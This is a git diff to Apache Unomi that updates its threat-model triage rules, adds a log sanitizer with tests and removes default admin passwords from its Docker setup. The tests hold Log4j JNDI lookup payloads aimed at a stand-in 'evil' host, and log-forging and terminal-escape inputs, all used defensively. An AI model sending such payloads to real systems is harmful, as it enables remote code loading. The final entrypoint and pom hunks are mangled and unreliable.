+- "The shipped default admin password works on a fresh install" — against **pre-3.1** builds: documented must-configure (§5a layer 1); not `VALID` solely on that basis. That class of report was accepted as **`VALID-HARDENING` motivation** for the 3.1 default-password retirement (§5a layer 2), **which shipped in 3.1**. Against **3.1 and later** it is no longer a non-finding: a known working default, or any fallback admitting a credential the operator never configured, is `VALID`. *(maintainer — §14 Q1)*
## §12 Conditions that would change this model
- A change to the public-endpoint protection model, the JSON-Schema-validation default, the scripting allow-list, or admin-auth defaults. *(inferred)*
-- A new public surface or a new expression/scripting capability reachable from untrusted input. *(inferred)*
+- **Shipped:** 3.1 retired the known default JAAS password (§5a layer 2). §5a, §9, §11a and §13 have been revised accordingly — a working known default is no longer `BY-DESIGN` / must-configure on 3.1+, and a regression reintroducing one is `VALID`. Reintroducing *any* implicit credential fallback would require revisiting this model again. *(maintainer)*
+- A new public surface or a new expression/scripting capability reachable from untrusted input or from tenant credentials. *(maintainer)*
- Promoting a `samples/` or third-party connector into core. *(inferred)*
+- A change to the tenant-isolation or privilege-escalation guarantees (§8). *(maintainer)*
- A report that cannot be routed to one §13 disposition → revise the model.
## §13 Triage dispositions
| Disposition | Meaning | Licensed by |
| --- | --- | --- |
-| `VALID` | Violates a §8 property via an in-scope adversary/input (public-input code execution; schema-validation bypass; cross-profile/scope access; pre-auth crash). | §8, §6, §7 |
-| `VALID-HARDENING` | No §8 property broken, but a §11 misuse is easy enough to harden. | §11 |
-| `OUT-OF-MODEL: trusted-input` | Requires admin/authenticated authority (e.g. an admin-authored malicious condition) or operator-controlled config/backend. | §6, §7 |
+| `VALID` | Violates a §8 property via an in-scope adversary/input (public-input code execution; schema-validation bypass; cross-profile/scope access; GraphQL auth bypass on any transport; tenant isolation break; tenant→host privilege escalation; pre-auth crash). On 3.1+, also: reintroduction of a known working default admin credential, or any fallback admitting a credential the operator never configured (§5a layer 2). | §8, §6, §7, §5a |
+| `VALID-HARDENING` | No §8 property broken, but a §11 misuse is easy enough to harden (e.g. HttpOnly default). Historically covered the 3.1 retirement of the known default JAAS password, which has since shipped and is now `VALID` on regression (§5a layer 2). | §11, §5a |
+| `OUT-OF-MODEL: trusted-input` | Requires **system-administrator** authority (e.g. a system-admin-authored malicious condition) or operator-controlled config/backend. | §6, §7 |
| `OUT-OF-MODEL: adversary-not-in-scope` | Requires host/container/backend control or another excluded capability. | §7 |
-| `OUT-OF-MODEL: unsupported-component` | Lands in `unomi-site`, `samples/`, `itests/`, or third-party connectors. | §3 |
-| `OUT-OF-MODEL: non-default-build` | Only manifests under a discouraged/non-default §5a setting. | §5a |
-| `BY-DESIGN: property-disclaimed` | Concerns a §9-disclaimed property (no admin-expression sandbox, unauthenticated-by-design context endpoint, backend security). | §9 |
+| `OUT-OF-MODEL: unsupported-component` | Lands in `unomi-site`, `samples/`, `itests/`, or third-party connectors (sample-only; core behaviour followed from samples may still be `VALID`). | §3 |
+| `OUT-OF-MODEL: non-default-build` | Only manifests under a discouraged/non-default §5a setting, or solely under an unchanged documented default credential on a **pre-3.1** build (§5a layer 1). | §5a |
+| `BY-DESIGN: property-disclaimed` | Concerns a §9-disclaimed property (no system-admin expression sandbox, unauthenticated-by-design context endpoint, backend security, documented default creds on **pre-3.1** builds). | §9 |
| `KNOWN-NON-FINDING` | Matches a §11a entry. | §11a |
| `MODEL-GAP` | Cannot be cleanly routed — triggers §12. | §12 |
## §14 Open questions for the maintainers
**Wave 1 — scope & default posture:**
-1. Confirm the trust split: the **context endpoint is public/unauthenticated by design**, while the **REST/GraphQL admin APIs are not public and are authenticated**. What are the defaults (bind address, default credentials)? Is exposing the admin API or leaving a default credential a `VALID` report or a documented must-configure? → §2/§5a/§7.
-2. Confirm `unomi-tracker` is modeled as a client-side satellite and `unomi-site`/`samples`/`itests` are out of scope. → §2/§3.
+1. ~~Confirm the trust split… default credentials?~~ **Answered (2026-08):** Context endpoint is public (public API key) by design; admin REST/GraphQL are authenticated and not intended to be public. **Triage (pre-3.1):** the packaged default JAAS admin password was a **documented must-configure** → reports that only show the default still works on those lines are `OUT-OF-MODEL: non-default-build` / `BY-DESIGN`. **Product (3.1) — shipped (UNOMI-972):** the known working default has been retired. `org.apache.unomi.security.root.password` binds to `${env:UNOMI_ROOT_PASSWORD}` with no fallback, `users.properties` ships no default, the health user requires `UNOMI_HEALTHCHECK_PASSWORD`, and the shell launchers fail fast when either is unset (advisory only under `karaf.bat`). That work is no longer tracked as `VALID-HARDENING`: on 3.1 and later, a regression reintroducing a known default — or any fallback admitting an unconfigured credential — is `VALID`. Auth bypasses remain `VALID` in all versions. → §2/§5a/§7/§9/§12.
+2. ~~Confirm `unomi-tracker`… samples/`itests` out of scope.~~ **Answered (2026-08):** Tracker is a client-side satellite; `unomi-site` / `samples` / `itests` are out of scope (§3). → §2/§3.
3. The model covers the apache/unomi server; should `unomi-tracker` get its own (lighter) model later, or a discoverability pointer to this one? → §1.
**Wave 2 — the public boundary & its defenses:**
@@ -181,11 +207,11 @@ Per-surface trust table *(all inferred unless noted):*
6. Are there bounds on public event size / batch / rate, or is flood protection the operator's (WAF/rate-limit) concern? → §8/§11a.
**Wave 3 — expressions, scopes, backend:**
-7. Confirm that OGNL/MVEL expression power is **by-design for trusted admin-authored** conditions and is **not** a sandbox — so a finding is `VALID` only when *public/untrusted* input reaches it. → §9/§11a.
-8. What is the profile/**scope** isolation model — can an authenticated API client read/modify data outside its scope, and is that boundary something Unomi enforces or the integrator's concern? → §8.
-8a. **Tenant isolation (UNOMI-139):** can an API client with credentials for tenant A read or modify tenant B's profiles, segments, or rules — and is that boundary enforced by Unomi (`TenantService` / `SecurityService.getTenantEncryptionKey`) or delegated to the integrator? → §8/§10. *(maintainer-flagged — sergehuber)*
+7. ~~Confirm that OGNL/MVEL…~~ **Answered (2026-08):** Expression power is by-design for **system-administrator-authored** conditions and is not a sandbox. `VALID` when public/untrusted input reaches it, or when a lower privilege (tenant admin) reaches host script power that should require system admin. → §9/§11a.
+8. What is the profile/**scope** isolation model — can an authenticated API client read/modify data outside its scope, and is that boundary something Unomi enforces or the integrator's concern? → §8. *(partially addressed by bearer-id clarification; scope semantics still open)*
+8a. ~~**Tenant isolation (UNOMI-139):**…~~ **Answered (2026-08):** Unomi **enforces** tenant isolation in the data plane. Tenant A credentials must not read/modify tenant B. Tenant administrator must **not** obtain host RCE, arbitrary filesystem access, or unconstrained Camel reach — those require system administrator. Violations are `VALID`. → §8/§10. *(maintainer — sergehuber)*
9. Is the Elasticsearch/OpenSearch backend assumed trusted/secured-by-operator (so backend-exposure reports are out-of-model)? → §3/§9.
**Wave 4 — meta & non-findings:**
10. Any other recurring scanner/fuzzer false positives to seed §11a (e.g. the `scripting` module, reflection, OSGi dynamic loading)? → §11a.
-11. **Meta:** Unomi has no in-repo `SECURITY.md`/`AGENTS.md` today; this engagement adds `SECURITY.md` + `THREAT_MODEL.md` and wires `AGENTS.md → SECURITY.md → THREAT_MODEL.md`. The website publishes CVE advisories at `unomi.apache.org/security/`. Confirm the in-repo model is canonical and how it should reference the website advisories; confirm revision ownership. → §1.
+11. **Meta:** Confirm the in-repo model is canonical and how it should reference website advisories at `unomi.apache.org/security/`; confirm revision ownership. (In-repo `SECURITY.md` / `AGENTS.md` wiring may already exist on current `master` — verify at ratification.) → §1.
diff --git a/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java b/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java
new file mode 100644
index 0000000000..7af6cfad1a
--- /dev/null
+++ b/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java
@@ -0,0 +1,83 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.unomi.api.utils;
+
+/**
+ * Sanitizes untrusted, request-derived values before they are written to a log.
+ *
+ * Anything that arrives over the network is attacker-controlled, so writing it verbatim into a log
+ * makes the log itself an attack surface: an embedded newline lets an attacker forge log records
+ * (making a real attack look like routine traffic, or implicating someone else), control characters
+ * can corrupt terminals and log shippers, and an unbounded value can flood the log. Security
+ * warnings are the worst place for this, because those are exactly the lines shipped to a SIEM and
+ * trusted during incident response.
+ *
+ * Values that never leave the server — enum names, role sets, hashes, rule configuration authored by
+ * an administrator — do not need this. Use it for request bodies, headers, cookies, query and path
+ * parameters, uploaded filenames, and event properties.
+ */
+public final class LogSanitizer {
+
+ /** Long enough to identify a value, short enough that it cannot flood the log. */
+ private static final int MAX_LENGTH = 200;
+
+ private LogSanitizer() {
+ }
+
+ /**
+ * Replaces every character that is not printable ASCII, and every log-format marker
+ * ({@code \ { } % $}), with an underscore, then truncates. This removes the newlines and control
+ * characters used for log injection, and neutralises markers that a downstream log formatter
+ * might otherwise interpret.
+ *
+ * @param input the untrusted value, may be {@code null}
+ * @return a value that is always safe to place in a log message; {@code "null"} when input was null
+ */
+ public static String forLogging(String input) {
+ return forLogging(input, MAX_LENGTH);
+ }
+
+ /**
+ * As {@link #forLogging(String)}, but with a caller-chosen length limit for contexts that need
+ * more room (a request URL, an exception message) than the default.
+ *
+ * @param input the untrusted value, may be {@code null}
+ * @param maxLength the length beyond which the value is truncated
+ * @return a value that is always safe to place in a log message; {@code "null"} when input was null
+ */
+ public static String forLogging(String input, int maxLength) {
+ if (input == null) {
+ return "null";
+ }
+ // Clamped: a negative limit would make substring throw, from inside a helper whose whole
+ // contract is that it is always safe to call in a log statement. No caller passes one today,
+ // but a computed limit (a remaining-budget calculation, say) would be an easy way to turn a
+ // security-refusal log line into an uncaught exception.
+ int limit = Math.max(0, maxLength);
+ String value = input.length() > limit ? input.substring(0, limit) + "...[truncated]" : input;
+ StringBuilder sanitized = new StringBuilder(value.length());
+ for (int i = 0; i < value.length(); i++) {
+ char c = value.charAt(i);
+ if (c >= 0x20 && c <= 0x7E && c != '\\' && c != '{' && c != '}' && c != '%' && c != '$') {
+ sanitized.append(c);
+ } else {
+ sanitized.append('_');
+ }
+ }
+ return sanitized.toString();
+ }
+}
diff --git a/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java b/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java
new file mode 100644
index 0000000000..2a8c7093a9
--- /dev/null
+++ b/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java
@@ -0,0 +1,227 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.unomi.api.utils;
+
+import org.junit.Test;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+/**
+ * The values this guards are attacker-controlled by definition — uploaded filenames, event property
+ * names, cookies, session ids — so these are the cases an attacker would actually try.
+ */
+public class LogSanitizerTest {
+
+ /**
+ * The core defence: a newline would let an attacker close the current log record and write their
+ * own, forging an entry that an operator or SIEM would read as genuine.
+ */
+ @Test
+ public void newlinesCannotForgeALogRecord() {
+ String forged = "innocent.groovy\n2026-08-08 12:00:00 WARN AUDIT groovy-action save: action=already-approved";
+
+ String sanitized = LogSanitizer.forLogging(forged);
+
+ assertFalse("a newline must not survive into the log", sanitized.contains("\n"));
+ assertFalse("a carriage return must not survive into the log", sanitized.contains("\r"));
+ assertTrue("the original text should still be recognisable", sanitized.startsWith("innocent.groovy_"));
+ }
+
+ @Test
+ public void controlCharactersAreReplaced() {
+ // ESC is what makes an ANSI sequence act on a terminal; the "[2J" after it is ordinary
+ // printable text, which is why only the ESC itself needs replacing.
+ String sanitized = LogSanitizer.forLogging("a\u001b[2Jb\tc\u0000d");
+
+ assertFalse("ESC must not survive", sanitized.indexOf(0x1b) >= 0);
+ assertFalse("TAB must not survive", sanitized.contains("\t"));
+ assertFalse("NUL must not survive", sanitized.indexOf(0) >= 0);
+ assertEquals("a_[2Jb_c_d", sanitized);
+ }
+
+ /** {@code {} $ %} are formatter markers; a downstream pattern layout must not act on them. */
+ @Test
+ public void logFormatMarkersAreNeutralised() {
+ String sanitized = LogSanitizer.forLogging("${jndi:ldap://evil/x} {} %n");
+
+ assertFalse(sanitized.contains("$"));
+ assertFalse(sanitized.contains("{"));
+ assertFalse(sanitized.contains("}"));
+ assertFalse(sanitized.contains("%"));
+ }
+
+ @Test
+ public void oversizedValuesAreTruncatedSoTheyCannotFloodTheLog() {
+ String sanitized = LogSanitizer.forLogging("a".repeat(5000));
+
+ assertTrue(sanitized.endsWith("...[truncated]"));
+ assertTrue("truncated output must stay bounded", sanitized.length() < 300);
+ }
+
+ @Test
+ public void callerSuppliedLimitIsHonoured() {
+ assertEquals("abc...[truncated]", LogSanitizer.forLogging("abcdef", 3));
+ }
+
+ @Test
+ public void ordinaryValuesArePassedThroughUnchanged() {
+ assertEquals("myAction", LogSanitizer.forLogging("myAction"));
+ assertEquals("a1b2c3d4-e5f6-7890-abcd-ef1234567890",
+ LogSanitizer.forLogging("a1b2c3d4-e5f6-7890-abcd-ef1234567890"));
+ }
+
+ /** Distinguishable from an empty value, so an audit record never silently loses a field. */
+ @Test
+ public void nullBecomesAnExplicitMarker() {
+ assertEquals("null", LogSanitizer.forLogging(null));
+ }
+
+ // ---------------------------------------------------------------------------------------
+ // Evasion attempts. Each of these defeats at least one naive implementation of this filter.
+ // ---------------------------------------------------------------------------------------
+
+ /**
+ * The classic bypass of a {@code Character.isISOControl} check: U+2028 and U+2029 are Unicode
+ * line terminators but are not ISO controls, so a validator written against that
+ * predicate lets them through while JSON log pipelines and JS-based log viewers still break the
+ * line on them. An allowlist of printable ASCII is immune; a denylist of control characters is not.
+ */
+ @Test
+ public void unicodeLineTerminatorsThatAreNotIsoControlsAreStillRemoved() {
+ assertFalse(Character.isISOControl('\u2028'));
+ assertFalse(Character.isISOControl('\u2029'));
+
+ String sanitized = LogSanitizer.forLogging("a\u2028forged\u2029line\u0085nel");
+
+ assertEquals("a_forged_line_nel", sanitized);
+ }
+
+ /**
+ * Log4j lookup evasion: the payload hides {@code jndi} behind a nested lookup so a filter
+ * searching for the literal string "jndi" misses it. Filtering the {@code $} and braces that
+ * make a lookup a lookup defeats the whole family, known and unknown.
+ */
+ @Test
+ public void nestedLookupEvasionIsNeutralised() {
+ String sanitized = LogSanitizer.forLogging("${${lower:j}${lower:n}di:ldap://evil/a}");
+
+ assertFalse(sanitized.contains("$"));
+ assertFalse(sanitized.contains("{"));
+ assertFalse(sanitized.contains("}"));
+ assertTrue("the text should survive in inert form", sanitized.contains("ldap://evil/a"));
+ }
+
+ /**
+ * A lone high surrogate at the truncation boundary. Cutting a string with {@code substring} can
+ * split a surrogate pair and leave an unpaired half, which some appenders and JSON encoders
+ * reject or mangle. Filtering after truncation means the orphan is replaced like any other
+ * non-ASCII char, so the result is always well-formed.
+ */
+ @Test
+ public void truncationCannotLeaveAnUnpairedSurrogate() {
+ String emoji = "\uD83D\uDE00"; // U+1F600, a surrogate pair
+ StringBuilder payload = new StringBuilder();
+ for (int i = 0; i < 199; i++) {
+ payload.append('a');
+ }
+ payload.append(emoji);
+
+ String sanitized = LogSanitizer.forLogging(payload.toString());
+
+ for (int i = 0; i < sanitized.length(); i++) {
+ assertFalse("no unpaired surrogate may survive", Character.isSurrogate(sanitized.charAt(i)));
+ }
+ }
+
+ /**
+ * Terminal control: BS overwrites already-printed characters and ESC]0; retitles the window, so
+ * an attacker can make a log line read as something else entirely in a live terminal.
+ */
+ @Test
+ public void terminalRewritingSequencesAreRemoved() {
+ String sanitized = LogSanitizer.forLogging("denied\b\b\b\b\b\b\u001b]0;granted\u0007");
+
+ assertFalse(sanitized.contains("\b"));
+ assertFalse("BEL must not survive", sanitized.indexOf(7) >= 0);
+ assertTrue(sanitized.startsWith("denied"));
+ }
+
+ /**
+ * Right-to-left override reverses the display order of everything after it, so a log entry can
+ * be made to read backwards — {@code deined} for {@code denied} — without changing the bytes a
+ * grep would match.
+ */
+ @Test
+ public void bidiOverrideCannotReorderTheDisplayedLine() {
+ String sanitized = LogSanitizer.forLogging("action=\u202egnitirw\u202c");
+
+ assertFalse(sanitized.contains("\u202e"));
+ assertFalse(sanitized.contains("\u202c"));
+ }
+
+ /** Zero-width characters split a token so an exact-match SIEM rule no longer fires on it. */
+ @Test
+ public void zeroWidthCharactersCannotHideATokenFromSearch() {
+ String sanitized = LogSanitizer.forLogging("ad\u200bmin\ufeff");
+
+ assertFalse(sanitized.contains("\u200b"));
+ assertFalse(sanitized.contains("\ufeff"));
+ assertEquals("ad_min_", sanitized);
+ }
+
+ /**
+ * A payload placed beyond the truncation point must not come back: truncation happens first, so
+ * anything past the limit is gone before it can be interpreted.
+ */
+ @Test
+ public void payloadHiddenBeyondTheTruncationPointIsDropped() {
+ String sanitized = LogSanitizer.forLogging("a".repeat(400) + "\nWARN forged-record");
+
+ assertFalse(sanitized.contains("forged-record"));
+ assertFalse(sanitized.contains("\n"));
+ }
+
+ /**
+ * An escaped newline: if any downstream formatter or JSON decoder unescapes the value, a
+ * surviving backslash would become a real newline. Filtering the backslash removes that
+ * second-order path.
+ */
+ @Test
+ public void escapedNewlineCannotBeRevivedDownstream() {
+ String sanitized = LogSanitizer.forLogging("a\\nb\\u000ac");
+
+ assertFalse("no backslash may survive to be unescaped later", sanitized.contains("\\"));
+ }
+
+ /** Sanitizing twice must equal sanitizing once, or nested logging would corrupt the value. */
+ @Test
+ public void sanitizationIsIdempotent() {
+ String once = LogSanitizer.forLogging("a\nb\u2028c${x}\uD83D\uDE00");
+
+ assertEquals(once, LogSanitizer.forLogging(once));
+ }
+
+ /** A negative limit must not throw: this helper is called from inside log statements. */
+ @Test
+ public void negativeLimitIsClampedRatherThanThrowing() {
+ assertEquals("...[truncated]", LogSanitizer.forLogging("abcdef", -1));
+ assertEquals("...[truncated]", LogSanitizer.forLogging("abcdef", 0));
+ }
+
+}
diff --git a/clear-elasticsearch.sh b/clear-elasticsearch.sh
index 0d92e9da23..baa7606479 100755
--- a/clear-elasticsearch.sh
+++ b/clear-elasticsearch.sh
@@ -57,6 +57,8 @@ unset UNOMI_ELASTICSEARCH_SSL_ENABLE
unset UNOMI_ELASTICSEARCH_SSL_TRUST_ALL_CERTIFICATES
# Also set by setup-elasticsearch.sh / setup-opensearch.sh
unset UNOMI_DISTRIBUTION
+unset UNOMI_ROOT_PASSWORD
+unset UNOMI_HEALTHCHECK_PASSWORD
unset _IS_SOURCED
diff --git a/clear-opensearch.sh b/clear-opensearch.sh
index 61b6c5a121..df4c9425b9 100755
--- a/clear-opensearch.sh
+++ b/clear-opensearch.sh
@@ -58,6 +58,8 @@ unset UNOMI_OPENSEARCH_SSL_ENABLE
unset UNOMI_OPENSEARCH_SSL_TRUST_ALL_CERTIFICATES
# Also set by setup-opensearch.sh / setup-elasticsearch.sh
unset UNOMI_DISTRIBUTION
+unset UNOMI_ROOT_PASSWORD
+unset UNOMI_HEALTHCHECK_PASSWORD
unset _IS_SOURCED
diff --git a/docker/README.md b/docker/README.md
index c5ab6553d4..a5dc49bde9 100644
--- a/docker/README.md
+++ b/docker/README.md
@@ -30,9 +30,13 @@ required Unomi tarball.
## Launching docker-compose using Maven project
-Unomi requires a search engine (ElasticSearch or OpenSearch) so it is recommended to run Unomi and the search engine using docker-compose:
+Unomi requires a search engine (ElasticSearch or OpenSearch) so it is recommended to run Unomi and the search engine using docker-compose.
+
+Set admin and health passwords first (required; no known defaults are shipped):
```
+export UNOMI_ROOT_PASSWORD='choose-a-strong-password'
+export UNOMI_HEALTHCHECK_PASSWORD='choose-a-strong-health-password'
mvn docker:start
```
@@ -72,6 +76,8 @@ For Unomi (with ElasticSearch):
```bash
docker pull apache/unomi:3.1.0-SNAPSHOT
docker run -d --name unomi --net unomi -p 8181:8181 -p 9443:9443 -p 8102:8102 \
+ -e UNOMI_ROOT_PASSWORD='choose-a-strong-password' \
+ -e UNOMI_HEALTHCHECK_PASSWORD='choose-a-strong-health-password' \
-e UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200 \
apache/unomi:3.1.0-SNAPSHOT
```
@@ -81,6 +87,8 @@ For Unomi (with OpenSearch):
```bash
docker pull apache/unomi:3.1.0-SNAPSHOT
docker run -d --name unomi --net unomi -p 8181:8181 -p 9443:9443 -p 8102:8102 \
+ -e UNOMI_ROOT_PASSWORD='choose-a-strong-password' \
+ -e UNOMI_HEALTHCHECK_PASSWORD='choose-a-strong-health-password' \
-e UNOMI_DISTRIBUTION=unomi-distribution-opensearch \
-e UNOMI_OPENSEARCH_ADDRESSES=opensearch:9200 \
-e UNOMI_OPENSEARCH_PASSWORD=${OPENSEARCH_ADMIN_PASSWORD} \
@@ -93,6 +101,8 @@ For ElasticSearch:
```bash
docker run -d --name unomi -p 8181:8181 -p 9443:9443 -p 8102:8102 \
+ -e UNOMI_ROOT_PASSWORD='choose-a-strong-password' \
+ -e UNOMI_HEALTHCHECK_PASSWORD='choose-a-strong-health-password' \
-e UNOMI_ELASTICSEARCH_ADDRESSES=host.docker.internal:9200 \
apache/unomi:3.1.0-SNAPSHOT
```
@@ -101,6 +111,8 @@ For OpenSearch:
```bash
docker run -d --name unomi -p 8181:8181 -p 9443:9443 -p 8102:8102 \
+ -e UNOMI_ROOT_PASSWORD='choose-a-strong-password' \
+ -e UNOMI_HEALTHCHECK_PASSWORD='choose-a-strong-health-password' \
-e UNOMI_DISTRIBUTION=unomi-distribution-opensearch \
-e UNOMI_OPENSEARCH_ADDRESSES=host.docker.internal:9200 \
-e UNOMI_OPENSEARCH_PASSWORD=${OPENSEARCH_ADMIN_PASSWORD} \
@@ -112,6 +124,8 @@ Note: Linux doesn't support the host.docker.internal DNS lookup method yet, it s
## Environment Variables
### Common Variables
+- `UNOMI_ROOT_PASSWORD`: Required admin (`karaf`) password — no known default
+- `UNOMI_HEALTHCHECK_PASSWORD`: Required health-check (`health`) password — no known default
- `UNOMI_AUTO_START`: Boolean to specify if unomi auto start with karaf (defaults to `true`)
- `UNOMI_DISTRIBUTION`: Specifies the Unomi Distribution Feature to use (`unomi-distribution-elasticsearch` or `unomi-distribution-opensearch`, defaults to `unomi-distribution-elasticsearch`)
@@ -133,7 +147,7 @@ Multi-tenancy requires a tenant before client endpoints such as `/cxs/context.js
```bash
curl -X POST http://localhost:8181/cxs/tenants \
- --user karaf:karaf \
+ --user "karaf:${UNOMI_ROOT_PASSWORD}" \
-H "Content-Type: application/json" \
-d '{"requestedId":"default","properties":{"name":"Default Tenant"}}'
```
diff --git a/docker/src/main/docker/docker-compose-build-es.yml b/docker/src/main/docker/docker-compose-build-es.yml
index 03f265a7b8..34193ad30e 100644
--- a/docker/src/main/docker/docker-compose-build-es.yml
+++ b/docker/src/main/docker/docker-compose-build-es.yml
@@ -39,6 +39,8 @@ services:
- UNOMI_AUTO_START=true
- UNOMI_DISTRIBUTION=unomi-distribution-elasticsearch
- UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200
+ - UNOMI_ROOT_PASSWORD=${UNOMI_ROOT_PASSWORD:?Set UNOMI_ROOT_PASSWORD}
+ - UNOMI_HEALTHCHECK_PASSWORD=${UNOMI_HEALTHCHECK_PASSWORD:?Set UNOMI_HEALTHCHECK_PASSWORD}
# Debug settings
- KARAF_DEBUG=${DEBUG:-false}
- KARAF_DEBUG_PORT=${DEBUG_PORT:-5005}
diff --git a/docker/src/main/docker/docker-compose-build-os.yml b/docker/src/main/docker/docker-compose-build-os.yml
index 97d38cfe44..f5c8592d5d 100644
--- a/docker/src/main/docker/docker-compose-build-os.yml
+++ b/docker/src/main/docker/docker-compose-build-os.yml
@@ -100,6 +100,8 @@ services:
- UNOMI_OPENSEARCH_ADDRESSES=opensearch-node1:9200
- UNOMI_OPENSEARCH_USERNAME=admin
- UNOMI_OPENSEARCH_PASSWORD=${OPENSEARCH_INITIAL_ADMIN_PASSWORD}
+ - UNOMI_ROOT_PASSWORD=${UNOMI_ROOT_PASSWORD:?Set UNOMI_ROOT_PASSWORD}
+ - UNOMI_HEALTHCHECK_PASSWORD=${UNOMI_HEALTHCHECK_PASSWORD:?Set UNOMI_HEALTHCHECK_PASSWORD}
# Debug settings
- KARAF_DEBUG=${DEBUG:-false}
- KARAF_DEBUG_PORT=${DEBUG_PORT:-5005}
diff --git a/docker/src/main/docker/docker-compose-cluster.yml b/docker/src/main/docker/docker-compose-cluster.yml
index 75aed46288..fa1a3069e9 100644
--- a/docker/src/main/docker/docker-compose-cluster.yml
+++ b/docker/src/main/docker/docker-compose-cluster.yml
@@ -36,6 +36,8 @@ services:
environment:
- UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200
- UNOMI_CLUSTER_NODEID=unomi-3-node-1
+ - UNOMI_ROOT_PASSWORD=${UNOMI_ROOT_PASSWORD:?Set UNOMI_ROOT_PASSWORD}
+ - UNOMI_HEALTHCHECK_PASSWORD=${UNOMI_HEALTHCHECK_PASSWORD:?Set UNOMI_HEALTHCHECK_PASSWORD}
ports:
- 8181:8181
- 9443:9443
@@ -58,6 +60,8 @@ services:
environment:
- UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200
- UNOMI_CLUSTER_NODEID=unomi-3-node-2
+ - UNOMI_ROOT_PASSWORD=${UNOMI_ROOT_PASSWORD:?Set UNOMI_ROOT_PASSWORD}
+ - UNOMI_HEALTHCHECK_PASSWORD=${UNOMI_HEALTHCHECK_PASSWORD:?Set UNOMI_HEALTHCHECK_PASSWORD}
ports:
- 8182:8181
- 9444:9443
diff --git a/docker/src/main/docker/docker-compose-es.yml b/docker/src/main/docker/docker-compose-es.yml
index edfada5911..a3d2946721 100644
--- a/docker/src/main/docker/docker-compose-es.yml
+++ b/docker/src/main/docker/docker-compose-es.yml
@@ -45,6 +45,9 @@ services:
- UNOMI_AUTO_START=true
- UNOMI_DISTRIBUTION=unomi-distribution-elasticsearch
- UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200
+ # Required admin password (no known default is shipped). Override via .env / shell.
+ - UNOMI_ROOT_PASSWORD=${UNOMI_ROOT_PASSWORD:?Set UNOMI_ROOT_PASSWORD}
+ - UNOMI_HEALTHCHECK_PASSWORD=${UNOMI_HEALTHCHECK_PASSWORD:?Set UNOMI_HEALTHCHECK_PASSWORD}
# Debug settings
- KARAF_DEBUG=${DEBUG:-false}
- KARAF_DEBUG_PORT=${DEBUG_PORT:-5005}
diff --git a/docker/src/main/docker/docker-compose-os.yml b/docker/src/main/docker/docker-compose-os.yml
index 579d3e2bc5..a37babf5bb 100644
--- a/docker/src/main/docker/docker-compose-os.yml
+++ b/docker/src/main/docker/docker-compose-os.yml
@@ -84,6 +84,9 @@ services:
- UNOMI_OPENSEARCH_ADDRESSES=opensearch-node1:9200
- UNOMI_OPENSEARCH_USERNAME=admin
- UNOMI_OPENSEARCH_PASSWORD=${OPENSEARCH_INITIAL_ADMIN_PASSWORD}
+ # Required admin password (no known default is shipped). Override via .env / shell.
+ - UNOMI_ROOT_PASSWORD=${UNOMI_ROOT_PASSWORD:?Set UNOMI_ROOT_PASSWORD}
+ - UNOMI_HEALTHCHECK_PASSWORD=${UNOMI_HEALTHCHECK_PASSWORD:?Set UNOMI_HEALTHCHECK_PASSWORD}
# Debug settings
- KARAF_DEBUG=${DEBUG:-false}
- KARAF_DEBUG_PORT=${DEBUG_PORT:-5005}
diff --git a/docker/src/main/docker/entrypoint.sh b/docker/src/main/docker/entrypoint.sh
index 1cfc684564..e805537b4b 100755
--- a/docker/src/main/docker/entrypoint.sh
+++ b/docker/src/main/docker/entrypoint.sh
@@ -34,6 +34,47 @@ export KARAF_OPTS="-Dunomi.autoStart=${UNOMI_AUTO_START} -Dunomi.distribution=${
echo "KARAF_OPTS: $KARAF_OPTS"
+# Refuse to start without admin/health passwords. An unset password is not "no account": it
+# expands to the empty string, which Karaf's PropertiesLoginModule accepts as a valid password.
+# This is the gate for container launches: exiting here means the container fails to start rather
+# than booting with an administrator account that accepts an empty password.
+check_required_password() {
+ # $1 env var name, $2 property name, $3 skip flag name
+ eval _value=\"\${$1}\"
+ eval _skip=\"\${$3}\"
+
+ [ -n "${_value}" ] && return 0
+
+ if [ "${_skip}" = "true" ]; then
+ cat >&2 <&2 <${project.description}
wrap
unomi-services
+
+ unomi-rest-api
mvn:org.apache.unomi/unomi-groovy-actions-services/${project.version}/cfg/groovyactionscfg
mvn:org.apache.unomi/unomi-groovy-actions-services/${project.version}
mvn:org.apache.unomi/unomi-groovy-actions-rest/${project.version}
diff --git a/extensions/groovy-actions/rest/pom.xml b/extensions/groovy-actions/rest/pom.xml
index 3bedcc985e..b6aef5cd37 100644
--- a/extensions/groovy-actions/rest/pom.xml
+++ b/extensions/groovy-actions/rest/pom.xml
@@ -57,6 +57,11 @@
unomi-groovy-actions-services
provided
+
+ org.apache.unomi
+ unomi-rest
+ provided
+
